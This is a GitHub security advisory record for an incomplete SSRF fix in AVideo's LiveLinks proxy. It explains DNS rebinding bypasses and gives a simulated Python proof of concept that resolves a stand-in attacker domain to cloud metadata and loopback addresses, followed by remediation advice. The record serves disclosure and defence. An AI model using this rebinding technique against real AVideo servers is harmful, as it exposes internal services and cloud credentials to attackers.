{"id":"GHSA-793q-xgj6-7frp","summary":"WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF","details":"### Summary\n\nThe incomplete SSRF fix in AVideo's LiveLinks proxy adds `isSSRFSafeURL()` validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 0e56382921fc71e64829cd1ec35f04e338c70917\n- **Patched versions:** \u003e= commit 0e56382921fc71e64829cd1ec35f04e338c70917\n\n### Details\n\nThe `plugin/LiveLinks/proxy.php` endpoint proxies live stream URLs. The fix adds `isSSRFSafeURL()` check on the initial URL, redirect URL validation, and `follow_location=0` in the `get_headers()` context. However, multiple DNS TOCTOU vulnerabilities remain.\n\nFor the initial URL, `isSSRFSafeURL()` resolves DNS once for validation, but `get_headers()` resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.\n\nThe same TOCTOU exists for redirect URLs: `isSSRFSafeURL()` validates the redirect target (first resolution returns a safe IP), then `fakeBrowser()` makes the actual request (second resolution returns an internal IP).\n\nAdditionally, even with `follow_location=0`, `get_headers()` still sends an HTTP request that can probe internal services via DNS rebinding, and multiple `Location` headers in a response cause `filter_var()` to receive an array instead of a string, resulting in a fall-through to the else branch.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding\n\"\"\"\n\nimport re\nimport sys\n\nclass DNSResolver:\n    def __init__(self):\n        self._call_count = {}\n\n    def resolve(self, host):\n        if host not in self._call_count:\n            self._call_count[host] = 0\n        self._call_count[host] += 1\n\n        if host == \"rebind.attacker.com\":\n            return \"93.184.216.34\" if self._call_count[host] == 1 else \"169.254.169.254\"\n        if host == \"rebind-loopback.attacker.com\":\n            return \"93.184.216.34\" if self._call_count[host] == 1 else \"127.0.0.1\"\n\n        static = {\"attacker.com\": \"93.184.216.34\", \"example.com\": \"93.184.216.34\", \"localhost\": \"127.0.0.1\"}\n        return static.get(host, None)\n\n    def reset(self):\n        self._call_count = {}\n\ndns = DNSResolver()\n\ndef php_parse_url_host(url):\n    match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE)\n    return match.group(1).lower() if match else None\n\ndef php_filter_validate_ip(s):\n    if re.match(r'^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$', s):\n        return all(0 \u003c= int(p) \u003c= 255 for p in s.split('.'))\n    return False\n\ndef is_ssrf_safe_url(url):\n    if not url: return False, \"empty\"\n    host = php_parse_url_host(url)\n    if not host: return False, \"no host\"\n\n    for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']:\n        if host == pat: return False, f\"blocked: {host}\"\n\n    ip = host\n    if not php_filter_validate_ip(host):\n        resolved = dns.resolve(host)\n        if not resolved: return False, \"DNS failed\"\n        ip = resolved\n\n    for pattern in [r'^10\\.', r'^172\\.(1[6-9]|2\\d|3[0-1])\\.', r'^192\\.168\\.', r'^127\\.', r'^169\\.254\\.']:\n        if re.match(pattern, ip): return False, f\"blocked: {ip}\"\n\n    return True, f\"allowed ({ip})\"\n\ndef main():\n    print(\"=\" * 72)\n    print(\"CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC\")\n    print(\"=\" * 72)\n\n    vuln_count = 0\n\n    print(\"\\n[TEST 1] DNS rebinding on initial URL\")\n    dns.reset()\n    safe, reason = is_ssrf_safe_url(\"http://rebind.attacker.com/meta-data/\")\n    actual_ip = dns.resolve(\"rebind.attacker.com\")\n    print(f\"  isSSRFSafeURL: safe={safe}, reason={reason}\")\n    print(f\"  Actual request goes to: {actual_ip}\")\n    if safe and actual_ip == \"169.254.169.254\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(\"\\n[TEST 2] DNS rebinding on redirect URL\")\n    dns.reset()\n    safe_r, _ = is_ssrf_safe_url(\"http://rebind-loopback.attacker.com/admin/\")\n    final_ip = dns.resolve(\"rebind-loopback.attacker.com\")\n    print(f\"  isSSRFSafeURL: safe={safe_r}\")\n    print(f\"  fakeBrowser() goes to: {final_ip}\")\n    if safe_r and final_ip == \"127.0.0.1\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(\"\\n[TEST 3] get_headers() side-effect\")\n    dns.reset()\n    safe, _ = is_ssrf_safe_url(\"http://rebind.attacker.com:8080/probe\")\n    side_ip = dns.resolve(\"rebind.attacker.com\")\n    print(f\"  isSSRFSafeURL passed: {safe}\")\n    print(f\"  get_headers() reached: {side_ip}\")\n    if safe and side_ip == \"169.254.169.254\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(f\"\\nBypass vectors: {vuln_count}\")\n    if vuln_count \u003e 0:\n        print(\"\\nVULNERABILITY CONFIRMED\")\n        return 0\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n**Steps to reproduce:**\n1. Run `python3 poc.py`.\n2. Observe that all three DNS rebinding bypass vectors succeed.\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nDNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths.\n```\n\n### Impact\n\nDNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.\n\n### Suggested Remediation\n\nPin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via `CURLOPT_RESOLVE` or equivalent. Remove the `get_headers()` call. Block redirects entirely or re-validate using pinned DNS after each redirect.","aliases":["CVE-2026-41055"],"modified":"2026-07-08T08:29:23.086606522Z","published":"2026-04-14T23:15:43Z","related":["CVE-2026-41055"],"database_specific":{"cwe_ids":["CWE-918"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-14T23:15:43Z","nvd_published_at":"2026-04-21T23:16:20Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-793q-xgj6-7frp"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33039"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41055"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/8d8fc0cadb425835b4861036d589abcea4d78ee8"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-793q-xgj6-7frp/GHSA-793q-xgj6-7frp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}